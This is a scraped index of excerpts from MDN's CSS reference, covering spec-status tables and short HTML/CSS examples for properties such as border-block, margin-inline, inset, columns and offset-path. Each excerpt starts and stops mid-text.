ion on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft css text decoration module level 3 candidate recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
CSS Transforms - CSS: Cascading Style Sheets
specifications specification status comment css transforms level 1 working draft initial definition.
CSS Transitions - CSS: Cascading Style Sheets
specifications specification status comment css transitions working draft initial definition.
CSS data types - CSS: Cascading Style Sheets
WebCSSCSS Types
percentage> <gradient> <ident> <image> <integer> <length> <length-percentage> <number> <number-percentage> <percentage> <position> <quote> <ratio> <resolution> <shape-box> <shape-radius> <string> <time> <time-percentage> <timing-function> <toggle-value> <transform-function> <type-or-unit> <url> <url-modifier> <zero> specifications specification status comment css values and units module level 4 editor's draft css values and units module level 3 candidate recommendation initial definition.
CSS Custom Properties for Cascading Variables - CSS: Cascading Style Sheets
css properties --* specifications specification status comment css custom properties for cascading variables module level 1 candidate recommendation initial definition ...
CSS Writing Modes - CSS: Cascading Style Sheets
reference properties direction glyph-orientation-horizontal text-combine-upright text-orientation unicode-bidi writing-mode specifications specification status comment css writing modes module level 3 proposed recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Column combinator - CSS: Cascading Style Sheets
class="selected"/> </colgroup> <tbody> <tr> <td>a <td>b <td>c </tr> <tr> <td colspan="2">d</td> <td>e</td> </tr> <tr> <td>f</td> <td colspan="2">g</td> </tr> </tbody> </table> css col.selected || td { background: gray; color: white; font-weight: bold; } result specifications specification status comment selectors level 4the definition of 'column combinator' in that specification.
Compositing and Blending - CSS: Cascading Style Sheets
reference properties background-blend-mode isolation mix-blend-mode data types <blend-mode> specifications specification status comment compositing and blending level 1 candidate recommendation initial definition ...
Questions about CSS - CSS: Cascading Style Sheets
WebCSSFAQ
an imported style sheet, using the css @import notation to automatically import and merge an external style sheet with the current style sheet style attributes specified by the viewer to the browser the default style sheet assumed by the browser in general, the web page creator's style sheet takes precedence, but it's recommended that browsers provide ways for the viewer to override the style attributes in some respects.
Filter Effects - CSS: Cascading Style Sheets
reference properties backdrop-filter filter data types <filter-function> specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
Cookbook template - CSS: Cascading Style Sheets
comment in italics are information about how to use part of the template.
Split Navigation - CSS: Cascading Style Sheets
requirements a common navigation pattern is to have one element pushed away from the others.
CSS Layout cookbook - CSS: Cascading Style Sheets
the css layout cookbook aims to bring together recipes for common layout patterns, things you might need to implement in your own sites.
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
the algorithm, in summary the algorithm can for the most part be summarized by these four rules.
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
though multi-column text is not that common on devices like screens, this is particularly useful on printed pages, or for indexes.
aspect-ratio - CSS: Cascading Style Sheets
in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification.
backface-visibility - CSS: Cascading Style Sheets
round: rgba(196, 196, 0, 0.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { background-color: #eeeeee; margin: 0px; padding: 6px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'backface-visibility' in that specification.
background-color - CSS: Cascading Style Sheets
lorem ipsum dolor sit amet, consectetuer </div> <div class="examplethree"> lorem ipsum dolor sit amet, consectetuer </div> css .exampleone { background-color: teal; color: white; } .exampletwo { background-color: rgb(153,102,153); color: rgb(255,255,204); } .examplethree { background-color: #777799; color: #ffffff; } result specifications specification comment feedback css backgrounds and borders module level 3the definition of 'background-color' in that specification.
block-size - CSS: Cascading Style Sheets
tagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples block size with vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'block-size' in that specification.
border-block-color - CSS: Cascading Style Sheets
on typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-color' in that specification.
border-block-end-color - CSS: Cascading Style Sheets
ypea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-end-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-color' in that specification.
border-block-end-style - CSS: Cascading Style Sheets
iscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-style' in that specification.
border-block-end-width - CSS: Cascading Style Sheets
ypea length formal syntax <'border-top-width'> examples border width with veritcal text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-width' in that specification.
border-block-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-end: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end' in that specification.
border-block-start-color - CSS: Cascading Style Sheets
ea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-start-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-color' in that specification.
border-block-start-style - CSS: Cascading Style Sheets
crete formal syntax <'border-top-style'> examples dashed border wtih vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-start-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-style' in that specification.
border-block-start-width - CSS: Cascading Style Sheets
ea length formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-start-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-width' in that specification.
border-block-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-block-start' in that specification.
border-block-style - CSS: Cascading Style Sheets
ypediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-style' in that specification.
border-block-width - CSS: Cascading Style Sheets
on typediscrete formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-width' in that specification.
border-block - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-block: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block' in that specification.
border-end-end-radius - CSS: Cascading Style Sheets
border radius with vertical text html <div> <p class="exampletext">example</p> </div> css content div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-end-radius' in that specification.
border-end-start-radius - CSS: Cascading Style Sheets
les border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-start-radius' in that specification.
border-inline-color - CSS: Cascading Style Sheets
discrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-color' in that specification.
border-inline-end-color - CSS: Cascading Style Sheets
nocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-end-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-color' in that specification.
border-inline-end-style - CSS: Cascading Style Sheets
valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-style' in that specification.
border-inline-end-width - CSS: Cascading Style Sheets
ength formal syntax <'border-top-width'> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-width' in that specification.
border-inline-end - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-end: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end' in that specification.
border-inline-start-color - CSS: Cascading Style Sheets
computed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-start-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-color' in that specification.
border-inline-start-style - CSS: Cascading Style Sheets
omputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-style' in that specification.
border-inline-start-width - CSS: Cascading Style Sheets
rder style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-start-width: 5px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-width' in that specification.
border-inline-start - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-start: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start' in that specification.
border-inline-style - CSS: Cascading Style Sheets
lueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style' in that specification.
border-inline-width - CSS: Cascading Style Sheets
order style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-width: 5px 10px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-width' in that specification.
border-inline - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline' in that specification.
border-start-end-radius - CSS: Cascading Style Sheets
les border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-end-radius' in that specification.
border-start-start-radius - CSS: Cascading Style Sheets
border radius with vertical text html <div> <p class="exampletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-start-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-start-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-start-start-radius' in that specification.
box-lines - CSS: Cascading Style Sheets
WebCSSbox-lines
if a value of multiple is specified, however, then the box is allowed to expand to multiple lines (that is, multiple rows or columns) in order to accommodate all of its children.
color-adjust - CSS: Cascading Style Sheets
image: linear-gradient(rgba(0, 0, 180, 0.5), rgba(70, 140, 220, 0.5)); color: #900; width: 15rem; height: 6rem; text-align: center; font: 24px "helvetica", sans-serif; display: flex; align-items: center; justify-content: center; color-adjust: exact; } html <div class="my-box"> <p>need more contrast!</p> </div> result specifications specification status comment css color adjustment module level 1the definition of 'color-adjust' in that specification.
column-count - CSS: Cascading Style Sheets
</p> css .content-box { column-count: 3; } result specifications specification status comment css multi-column layout modulethe definition of 'column-count' in that specification.
column-fill - CSS: Cascading Style Sheets
</p> css .content-box { column-count: 4; column-rule: 1px solid black; column-fill: balance; } result specifications specification status comment css multi-column layout modulethe definition of 'column-fill' in that specification.
column-rule-color - CSS: Cascading Style Sheets
don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: solid; column-rule-color: blue; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-color' in that specification.
column-rule-style - CSS: Cascading Style Sheets
don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: dashed; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-style' in that specification.
column-rule-width - CSS: Cascading Style Sheets
don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: solid; column-rule-width: thick; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-width' in that specification.
column-rule - CSS: Cascading Style Sheets
</p> css .content-box { padding: 0.3em; background: #ff7; column-count: 3; column-rule: inset 2px #33f; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule' in that specification.
column-span - CSS: Cascading Style Sheets
the text is equally distributed over the columns.</p> </article> css article { columns: 3; } h2 { column-span: all; } result specifications specification status comment css multi-column layout modulethe definition of 'column-span' in that specification.
columns - CSS: Cascading Style Sheets
WebCSScolumns
</p> css .content-box { columns: 3 auto; } result specifications specification status comment css multi-column layout modulethe definition of 'columns' in that specification.
conic-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 4the definition of 'conic-gradient()' in that specification.
<display-box> - CSS: Cascading Style Sheets
candidate recommendation ...
<display-inside> - CSS: Cascading Style Sheets
candidate recommendation ...
<display-internal> - CSS: Cascading Style Sheets
candidate recommendation ...
<display-legacy> - CSS: Cascading Style Sheets
candidate recommendation ...
<display-listitem> - CSS: Cascading Style Sheets
candidate recommendation ...
<display-outside> - CSS: Cascading Style Sheets
candidate recommendation ...
element() - CSS: Cascading Style Sheets
WebCSSelement
<div style="width:400px; height:100px; background:-moz-element(#mybackground2);"> </div> <div style="overflow:hidden; height:0;"> <button id="mybackground2" type="button">evil button!</button> </div> specifications specification status comment css images module level 4the definition of 'using elements as images: the element() notation' in that specification.
font-language-override - CSS: Cascading Style Sheets
ation typediscrete formal syntax normal | <string> examples using danish glyphs html <p class="para1">default language setting.</p> <p class="para2">this is a string with the <code>font-language-override</code> set to danish.</p> css p.para1 { font-language-override: normal; } p.para2 { font-language-override: "dan"; } result specifications specification status comment css fonts module level 4the definition of 'font-language-override' in that specification.
font-optical-sizing - CSS: Cascading Style Sheets
specifications specification status comment css fonts module level 4the definition of 'font-optical-sizing' in that specification.
font-variant-alternates - CSS: Cascading Style Sheets
historical-forms this keyword enables historical forms — glyphs that were common in the past but not today.
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
treme&shy;ly long english word</dd> </dl> css dd { width: 55px; border: 1px solid black; } dd.none { -webkit-hyphens: none; -ms-hyphens: none; hyphens: none; } dd.manual { -webkit-hyphens: manual; -ms-hyphens: manual; hyphens: manual; } dd.auto { -webkit-hyphens: auto; -ms-hyphens: auto; hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'hyphens' in that specification.
initial-letter-align - CSS: Cascading Style Sheets
tter-align: auto; initial-letter-align: auto; } .alphabetic { -webkit-initial-letter-align: alphabetic; initial-letter-align: alphabetic; } .hanging { -webkit-initial-letter-align: hanging; initial-letter-align: hanging; } .ideographic { -webkit-initial-letter-align: ideographic; initial-letter-align: ideographic; } result specifications specification status comment css inline layoutthe definition of 'initial-letter-align' in that specification.
initial-letter - CSS: Cascading Style Sheets
normal</p> <p class="onefive">initial letter occupies 1.5 lines</p> <p class="three">initial letter occupies 3 lines</p> css .normal { -webkit-initial-letter: normal; initial-letter: normal; } .onefive { -webkit-initial-letter: 1.5; initial-letter: 1.5; } .three { -webkit-initial-letter: 3.0; initial-letter: 3.0; } result specifications specification status comment css inline layoutthe definition of 'initial-letter' in that specification.
inline-size - CSS: Cascading Style Sheets
gesinline-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples setting inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; inline-size: 110px; } result specifications specification status comment css logical properties and values level 1the definition of 'inline-size' in that specification.
inset-block-end - CSS: Cascading Style Sheets
ge or calc(); formal syntax <'top'> examples setting block end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block-end' in that specification.
inset-block-start - CSS: Cascading Style Sheets
entage or calc(); formal syntax <'top'> examples setting block start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block-start: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'inset-block-start' in that specification.
inset-block - CSS: Cascading Style Sheets
rmal syntax <'top'>{1,2} examples setting block start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block' in that specification.
inset-inline-end - CSS: Cascading Style Sheets
e or calc(); formal syntax <'top'> examples setting inline end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-end' in that specification.
inset-inline-start - CSS: Cascading Style Sheets
calc(); formal syntax <'top'> examples setting inline start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-start' in that specification.
inset-inline - CSS: Cascading Style Sheets
al syntax <'top'>{1,2} examples setting inline start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline' in that specification.
inset - CSS: Cascading Style Sheets
WebCSSinset
examples setting offsets for an element html <div> <span class="exampletext">example text</span> </div> css div { background-color: yellow; width: 150px; height: 120px; position: relative; } .exampletext { writing-mode: sideways-rl; position: absolute; inset: 20px 40px 30px 10px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset' in that specification.
justify-items - CSS: Cascading Style Sheets
1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } article:hover, article:focus { justify-items: center; } article span { background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } result specifications specification status comment css box alignment module level 3the definition of 'justify-items' in that specification.
justify-self - CSS: Cascading Style Sheets
tems: stretch; } span:nth-child(2) { justify-self: start; } span:nth-child(3) { justify-self: center; } span:nth-child(4) { justify-self: end; } article span { background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } result specifications specification status comment css box alignment module level 3the definition of 'justify-self' in that specification.
line-height-step - CSS: Cascading Style Sheets
:root { font-size: 12pt; --my-grid: 18pt; line-height-step: var(--my-grid); } h1 { font-size: 20pt; margin-top: calc(2 * var(--my-grid)); } the result of these rules is shown below in the following screenshot: specifications specification status comment css rhythmic sizingthe definition of 'line-height-step' in that specification.
margin-block-end - CSS: Cascading Style Sheets
autoanimation typea length formal syntax <'margin-left'> examples setting block end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-end' in that specification.
margin-block-start - CSS: Cascading Style Sheets
animation typea length formal syntax <'margin-left'> examples setting block start margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-block-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-start' in that specification.
margin-block - CSS: Cascading Style Sheets
ediscrete formal syntax <'margin-left'>{1,2} examples setting block start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block' in that specification.
margin-inline-end - CSS: Cascading Style Sheets
toanimation typea length formal syntax <'margin-left'> examples setting inline end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-end' in that specification.
margin-inline-start - CSS: Cascading Style Sheets
imation typea length formal syntax <'margin-left'> examples setting inline start margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-start' in that specification.
margin-inline - CSS: Cascading Style Sheets
iscrete formal syntax <'margin-left'>{1,2} examples setting inline start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline' in that specification.
margin-trim - CSS: Cascading Style Sheets
syntax none margins are not trimmed by the container.
max-block-size - CSS: Cascading Style Sheets
.standard-box { padding: 4px; background-color: #abcdef; color: #000; font: 16px "open sans", "helvetica", "arial", sans-serif; max-block-size: 160px; min-block-size: 100px; } .horizontal { writing-mode: horizontal-tb; } .vertical { writing-mode: vertical-rl; } result specifications specification status comment css logical properties and values level 1the definition of 'max-block-size' in that specification.
max-inline-size - CSS: Cascading Style Sheets
ed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'max-inline-size' in that specification.
min-block-size - CSS: Cascading Style Sheets
lockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum block size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-size' in that specification.
min-inline-size - CSS: Cascading Style Sheets
me as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum inline size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-inline-size' in that specification.
offset-anchor - CSS: Cascading Style Sheets
cc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto; background: cyan; } .offset-anchor2 { offset-anchor: right top; background: purple; } .offset-anchor3 { offset-anchor: left bottom; background: magenta; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-anchor' in that specification.
offset-distance - CSS: Cascading Style Sheets
html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
offset-path - CSS: Cascading Style Sheets
004,190 h1075 a11,11 0 0,1 1086,201 v300 l1294,423 h1216 a11,11 0 0,0 1205,434 v789 a11,11 0 0,1 1194,800 h606 a11,11 0 0,1 595,789 v434 a11,11 0 0,0 584,423 h506 l900,190'); animation: followpath 4s linear infinite; } @keyframes followpath { to { motion-offset: 100%; offset-distance: 100%; } } result specifications <body> specification status comment motion path module level 1the definition of 'offset-path' in that specification.
offset-position - CSS: Cascading Style Sheets
position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment motion path module level 1the definition of 'offset-position' in that specification.
offset-rotate - CSS: Cascading Style Sheets
%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-rotate' in that specification.
offset - CSS: Cascading Style Sheets
WebCSSoffset
element along a path html <div id="offsetelement"></div> css @keyframes move { from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px; background-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module level 1the definition of 'offset' in that specification.
overflow-anchor - CSS: Cascading Style Sheets
body { overflow-anchor: none; } specifications specification status comment css scroll anchoring module level 1the definition of 'overflow-anchor' in that specification.
overflow-inline - CSS: Cascading Style Sheets
="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-inline: hidden;} #div2 { overflow-inline: scroll;} #div3 { overflow-inline: visible;} #div4 { overflow-inline: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-inline' in that specification.
overflow-wrap - CSS: Cascading Style Sheets
(<code>hyphens</code>, german rules)</p> css p { width: 13em; margin: 2px; background: gold; } .ow-anywhere { overflow-wrap: anywhere; } .ow-break-word { overflow-wrap: break-word; } .word-break { word-break: break-all; } .hyphens { hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'overflow-wrap' in that specification.
overscroll-behavior-block - CSS: Cascading Style Sheets
div > div { height: 1500px; width: 100%; background-color: yellow; background-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; background-color: rgba(255,0,0,0.5); margin: 0; width: 340px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-block' in that specification.
overscroll-behavior-inline - CSS: Cascading Style Sheets
